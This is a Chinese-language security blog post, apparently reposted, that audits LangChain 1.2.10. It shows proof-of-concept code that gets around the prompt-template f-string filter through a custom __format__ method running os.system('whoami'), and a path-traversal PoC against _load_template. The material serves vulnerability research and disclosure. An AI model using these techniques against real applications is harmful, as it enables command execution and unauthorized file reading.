文章总结: 文档对LangChain1.2.10框架进行安全审计,发现两个中低危漏洞:格式化字符串注入绕过漏洞(通过format魔术方法可执行系统命令)和路径穿越漏洞(受文件后缀限制利用价值有限)。审计结论指出实际危害可控,并提供了具体漏洞代码位置和PoC验证方法。 综合评分: 75 文章分类: 漏洞分析,代码审计,安全开发,WEB安全,应用安全
LangChain 1.2.10 安全审计与漏洞分析
原创
ap0s ap0s
ap0s
2026年2月15日 14:39 安徽
在小说阅读器读本章
去阅读
LangChain 1.2.10 审计
最近在学习LangChain,顺便审计了下,实际危害有限,不喜勿喷
简介
LangChain 是一个帮助开发者将大语言模型(LLM)与外部数据、工具及业务逻辑快速“串联”起来的开源开发框架。
安全分析
在langchain_core/_security中存在ssrf安全限制_ssrf_protection.py
通过验证URL、阻止私有IP、本地地址和云元数据端点,并提供多种验证模式和Pydantic类型集成,确保应用只能访问安全的公共网络资源。
其中也有对Jinja2模版的属性访问限制
格式化字符串注入绕过
在langchain_core/prompts/prompt.py中存在from_template函数,可进行利用
def get_template_variables(template: str, template_format: str) -> list[str]:
"""Get the variables from the template.
Args:
template: The template string.
template_format: The template format.
Should be one of `'f-string'`, `'mustache'` or `'jinja2'`.
Returns:
The variables from the template.
Raises:
ValueError: If the template format is not supported.
"""
if template_format == "jinja2":
# Get the variables for the template
input_variables = _get_jinja2_variables_from_template(template)
elif template_format == "f-string":
input_variables = {
v for _, v, _, _ in Formatter().parse(template) if v is not None
}
elif template_format == "mustache":
input_variables = mustache_template_vars(template)
else:
msg = f"Unsupported template format: {template_format}"
raise ValueError(msg)
# For f-strings, block attribute access and indexing syntax
# This prevents template injection attacks via accessing dangerous attributes
if template_format == "f-string":
for var in input_variables:
# Formatter().parse() returns field names with dots/brackets if present
# e.g., "obj.attr" or "obj[0]" - we need to block these
if"."in var or "["in var or "]"in var:
msg = (
f"Invalid variable name {var!r} in f-string template. "
f"Variable names cannot contain attribute "
f"access (.) or indexing ([])."
)
raise ValueError(msg)
# Block variable names that are all digits (e.g., "0", "100")
# These are interpreted as positional arguments, not keyword arguments
if var.isdigit():
msg = (
f"Invalid variable name {var!r} in f-string template. "
f"Variable names cannot be all digits as they are interpreted "
f"as positional arguments."
)
raise ValueError(msg)
return sorted(input_variables)
用法
Args:
template: The template to load.
template_format: The format of the template.
Use `jinja2` for jinja2, `mustache` for mustache, and `f-string` for
f-strings.
partial_variables: A dictionary of variables that can be used to partially
fill in the template.
For example, if the template is `'{variable1} {variable2}'`, and
`partial_variables` is `{"variable1": "foo"}`, then the final prompt
will be `'foo {variable2}'`.
**kwargs: Any other arguments to pass to the prompt template.
存在过滤,存在过滤,如果template_format为f-string判断字符串存在.,[,]
通过用法构造poc
from langchain_core.prompts import PromptTemplate
class Evil:
def __format__(self, format):
if format == "exp":
import os
os.system("whoami")
return str(self)
evil = Evil()
template = PromptTemplate.from_template("exp: {obj:exp}")
template.format(obj=evil)
路径穿越
在langchain_core/prompts/loading.py中存在_load_template函数,这里限制了文件后缀,利用起来较为鸡肋
Poc:
import sys
from langchain_core.prompts.loading import _load_template
try:
config = {"template_path": "../../../../../../flag.txt"}
result = _load_template("template", config)
print(result)
except Exception as e:
print(f"Error with flag.txt: {e}")
try:
config = {"template_path": "../../../../../../flag"}
result = _load_template("template", config)
print(result)
except Exception as e:
print(f"Error with flag: {e}")
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:ap0s ap0s ap0s《LangChain 1.2.10 安全审计与漏洞分析》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论